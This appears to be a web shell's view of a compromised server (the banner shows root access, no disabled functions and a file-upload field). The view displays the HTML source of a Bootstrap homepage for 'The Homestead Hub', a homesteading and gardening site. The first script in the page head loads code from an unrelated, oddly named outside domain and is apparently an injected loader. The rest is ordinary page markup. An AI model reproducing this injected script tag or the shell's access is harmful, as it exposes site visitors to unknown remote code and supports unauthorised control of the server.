| Server IP : 138.197.162.186 / Your IP : 216.73.216.17 Web Server : nginx/1.24.0 System : Linux ubuntu-s-1vcpu-512mb-10gb-tor1 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.3.6 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/yogaensalada-site-backup/assign4/ |
Upload File : |
<!doctype html>
<html lang="en">
<head>
<script src="https://foreignabnormality.com/3d/2a/3b/3d2a3b864ccbbed9c9fc04ca3f939a68.js"></script>
<script async src="https://www.googletagmanager.com/gtag/js?id=G-5T2LX08R87"></script><script>function gtag(){dataLayer.push(arguments)}window.dataLayer=window.dataLayer||[],gtag("js",new Date),gtag("config","G-5T2LX08R87");</script>
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-0531879237494766" crossorigin="anonymous"></script>
<!-- Required Meta Tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Additional Meta Tags -->
<meta name="author" content="Jaymie Tan">
<meta name="description" content="The Homestead Hub">
<!-- Bootstrap CSS -->
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
<!-- Bootstrap Icons Library -->
<title>The Homestead Hub</title>
</head>
<body>
<!-- Navigation Container -->
<nav class="navbar navbar-expand-md navbar-dark bg-dark">
<div class="container">
<!-- Logo on the left -->
<a class="navbar-brand" href="#">
<!--img src="#" alt="Logo" height="30"-->
LOGO
</a>
<!-- Toggler Button for Medium and Below -->
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<!-- Navigation Links -->
<div class="collapse navbar-collapse justify-content-end" id="navbarNav">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link text-white" href="#">Featured</a>
</li>
<li class="nav-item">
<a class="nav-link text-white" href="#">Latest</a>
</li>
<li class="nav-item">
<a class="nav-link text-white" href="#">Crop Corner</a>
</li>
<li class="nav-item">
<a class="nav-link text-white" href="#">Events</a>
</li>
<li class="nav-item">
<a class="nav-link text-white" href="#">Engage</a>
</li>
</ul>
</div>
</div>
</nav>
<!-- Hero Section -->
<div class="container pt-5">
<div class="row">
<!-- Photo on the left -->
<div class="col-md-6">
<img src="img/hero.webp" class="img-fluid w-100" alt="Lady running">
</div>
<!-- Heading and paragraph on the right -->
<div class="col-md-6 align-self-center">
<h1>Discover the joys of homesteading</h1>
<p>From small apartment balconies to sprawling farmsteads, we'll show you how to make the most of your space and resources to live a more fulfilling and sustainable life.
</p>
<button type="button" class="btn border-1 border-success text-success">Learn More</button>
</div>
</div>
</div>
<!--Featured articles-->
<div class="container mt-5">
<div class="py-5">
<h2>Featured Articles</h2>
<hr>
</div>
<div class="row">
<!-- First Card -->
<div class="col-md-6 mb-4">
<div class="card">
<div class="card-body">
<div class="row">
<!-- Photo on the left -->
<div class="col-md-4">
<img src="img/fanny-cans.webp" class="img-fluid w-100" alt="red drinks">
</div>
<!-- Content on the right -->
<div class="col-md-8">
<h3 class="card-title">Aunt Fanny's Guide to Canning</h3>
<p class="card-text">Whether you're a seasoned canner or a beginner, this article will inspire you to preserve the bounty of the harvest and savor the flavors of your homestead all year round.
</p>
<a href="#" class="text-success">Read More</a>
</div>
</div>
</div>
</div>
</div>
<!-- Second Card -->
<div class="col-md-6 mb-4">
<div class="card">
<div class="card-body">
<div class="row">
<!-- Photo on the left -->
<div class="col-md-4">
<img src="img/great-pyr.webp" class="img-fluid w-100" alt="white dog">
</div>
<!-- Content on the right -->
<div class="col-md-8">
<h3 class="card-title">Choosing a Guardian Dog</h3>
<p class="card-text">From the Great Pyrenees' history as working dogs to their role as protectors on modern homesteads, we'll cover everything you need to know about these gentle giants.
</p>
<a href="#" class="text-success">Read More</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Latest section-->
<div class="container mt-5">
<!-- Header Container -->
<div class="py-5">
<h2>The Latest</h2>
<hr>
</div>
<!-- Container for Cards -->
<div class="row">
<!-- Left Column - Four Cards -->
<div class="col-md-12 mb-4 col-lg-8">
<div class="row">
<!-- First Card -->
<div class="col-md-6 mb-4">
<div class="card">
<img src="img/straw-bales-410.webp" class="card-img-top" alt="Straw Bales">
<div class="card-body">
<h3 class="card-title">Kickstart Spring by Starting a Straw Bale Garden</h3>
<p class="card-text">As the winter fades away and spring begins to bloom, it's the perfect time to start planning your garden. If you're looking for a unique and efficient way to grow your own vegetables, consider starting a straw bale garden.
Rabbits in a hutch</p>
</div>
</div>
</div>
<!-- Second Card -->
<div class="col-md-6 mb-4">
<div class="card">
<img src="img/rabbit-hutch-410.webp" class="card-img-top" alt="Rabbit">
<div class="card-body">
<h3 class="card-title">How to Build a Rabbit Hutch For Your Homestead</h3>
<p class="card-text">Rabbits are a great addition to any homestead, providing a source of protein and manure for your garden. Building a rabbit hutch is a great way to provide your rabbits with a safe and comfortable home, while also ensuring they don't cause damage to your garden.
tomatoes fresh from the picking</p>
</div>
</div>
</div>
</div>
<div class="row">
<!-- Third Card -->
<div class="col-md-6 mb-4">
<div class="card">
<img src="img/tomatoes-410.webp" class="card-img-top" alt="Tomatoes">
<div class="card-body">
<h3 class="card-title">DIY Tomato Cages to Properly Support Your Tomato Plants</h3>
<p class="card-text">Tomatoes are a staple in many homestead gardens, but keeping them properly supported can be a challenge. With our step-by-step instructions and helpful tips, you'll learn how to construct sturdy and durable tomato cages that will keep your plants upright and healthy throughout the growing season.
Lumber cut and stacked</p>
</div>
</div>
</div>
<!-- Fourth Card -->
<div class="col-md-6 mb-4">
<div class="card">
<img src="img/lumber-410.webp" class="card-img-top" alt="Lumber">
<div class="card-body">
<h3 class="card-title">TIMBER! A Guide to the Safe Harvesting of Trees</h3>
<p class="card-text">Harvesting trees can be a rewarding experience for homesteaders, but it's important to approach it with caution and care. In this article, we provide a comprehensive guide to the safe and sustainable harvesting of trees on your homestead.</p>
</div>
</div>
</div>
</div>
</div>
<!-- Right Column - One Card with Button -->
<div class="col-md-12 mb-4 col-lg-4">
<div class="card">
<img src="img/reading.webp" class="card-img-top" alt="Lady Reading a book">
<div class="card-body">
<h3 class="card-title">Using the Old Farmer's Almanac to help get you through the season.</h3>
<p class="card-text">The Old Farmer's Almanac has been a trusted resource for homesteaders for over two centuries, providing practical advice and insights on everything from weather patterns and crop planting to animal husbandry and celestial events. In this article, we explore how to use the Old Farmer's Almanac to help get you through the season. From predicting the first frost to selecting the best crops for your region, we'll cover how to make the most of this valuable resource. </p>
<button type="button" class="btn border-1 border-success text-success">Order Your Copy</button>
</div>
</div>
</div>
</div>
</div>
<!-- Little Crops section-->
<div class="container mt-5 pb-5">
<!-- Header Container -->
<div class="row">
<div class="col text-center py-5">
<h2>Little Crops on the Prarie: <span class="text-muted">Tips and Tricks for Alberta </span></h2>
</div>
</div>
<!-- Container for Images -->
<div class="row">
<!-- First Image -->
<div class="col-md-4">
<div class="container">
<div class="card bg-dark text-white text-center">
<img class="card-img" src="img/transplanting.webp" alt="Transplanting">
<div class="card-img-overlay align-self-center">
<h3 class="card-title">The Top 3 Challenges of Prairie Crop Production</h3>
<button type="button" class="btn btn-dark">Read More</button>
<p class="card-text">Last updated 3 mins ago</p>
</div>
</div>
</div>
</div>
<!-- Second Image -->
<div class="col-md-4">
<div class="container ">
<div class="card bg-dark text-white text-center">
<img class="card-img" src="img/beets.webp" alt="Beets">
<div class="card-img-overlay align-self-center">
<h3 class="card-title">Nothing Beats Beets</h3>
<button type="button" class="btn btn-dark">Read More</button>
<p class="card-text">Last updated 3 days ago</p>
</div>
</div>
</div>
</div>
<!-- Third Image -->
<div class="col-md-4">
<div class="container ">
<div class="card bg-dark text-white text-center">
<img class="card-img" src="img/veggie-patch.webp" alt="Veggie Patch">
<div class="card-img-overlay align-self-center">
<h3 class="card-title">Understanding Soil Health for Prairie Crops</h3>
<button type="button" class="btn btn-dark">Read More</button>
<p class="card-text">Last updated 5 days ago</p>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Upcoming Events section // this is carousel-->
<div class="container mt-5 pb-5">
<!-- Header Container -->
<div class="row">
<div class="col py-5">
<h2>Upcoming Events</h2>
</div>
</div>
<div class="row">
<!-- One Image -->
<div class="col-md-12">
<div class="container">
<div class="card text-white text-center">
<img class="card-img" src="img/cans.webp" alt="Cans">
<div class="card-img-overlay align-self-center">
<h3 class="card-title text-white">Canning Workshop</h3>
<p class="fs-3">Learn the art of canning from our expert homesteaders and discover how to preserve the harvest and savor the flavors of your homestead all year round.</p>
</div>
</div>
</div>
</div>
<div class="container mt-5">
<!-- Form Container -->
<div class="bg-success p-4">
<!-- Form Title -->
<h2 class="text-white mb-4">Engage With Us</h2>
<!-- Form -->
<form>
<div class="w-80">
<!-- First Row - First Name & Last Name -->
<div class="row mb-3">
<div class="col-6">
<label for="firstName" class="text-white py-1">First Name</label>
<input type="text" class="form-control" id="firstName" placeholder="First Name">
</div>
<div class="col-6">
<label for="lastName" class="text-white py-1">Last Name</label>
<input type="text" class="form-control" id="lastName" placeholder="Last Name">
</div>
</div>
<!-- Second Row - Email -->
<div class="row mb-3">
<div class="col">
<label for="email" class="text-white py-1">Email</label>
<input type="email" class="form-control" id="email" placeholder="Email">
</div>
</div>
<!-- Third Row - Message -->
<div class="row mb-3">
<div class="col">
<label for="message" class="text-white py-1">Message</label>
<textarea class="form-control" id="message" rows="3" placeholder="Message"></textarea>
</div>
</div>
<!-- Fourth Row - Checkbox -->
<div class="row mb-3">
<div class="col">
<div class="form-check">
<input class="form-check-input" type="checkbox" id="subscribe" value="">
<label class="form-check-label text-white" for="subscribe">
I agree to The Homestead Hub's data collection and privacy policy.
</label>
</div>
</div>
</div>
<!-- Fifth Row - Submit Button -->
<div class="row text-center">
<div class="col">
<button type="submit" class="btn btn-light py-1 px-3">Send</button>
</div>
</div>
</div>
</form>
</div>
</div>
<!-- Footer -->
<footer>
<div class="container bg-white py-5 px-3">
<div class="row">
<div class="col-md-6">
<p>@ 2023 Cultivate, Inc</p>
</div>
<ul class="nav col-md-6 justify-content-end">
<li class="nav-item">
<a class="nav-link text-dark" href="#">Featured</a>
</li>
<li class="nav-item">
<a class="nav-link text-dark" href="#">Latest</a>
</li>
<li class="nav-item">
<a class="nav-link text-dark" href="#">Crop Corner</a>
</li>
<li class="nav-item">
<a class="nav-link text-dark" href="#">Events</a>
</li>
<li class="nav-item">
<a class="nav-link text-dark" href="#">Engage</a>
</li>
</ul>
</div>
</div>
</footer>
</div>
</div>
</body>
</html>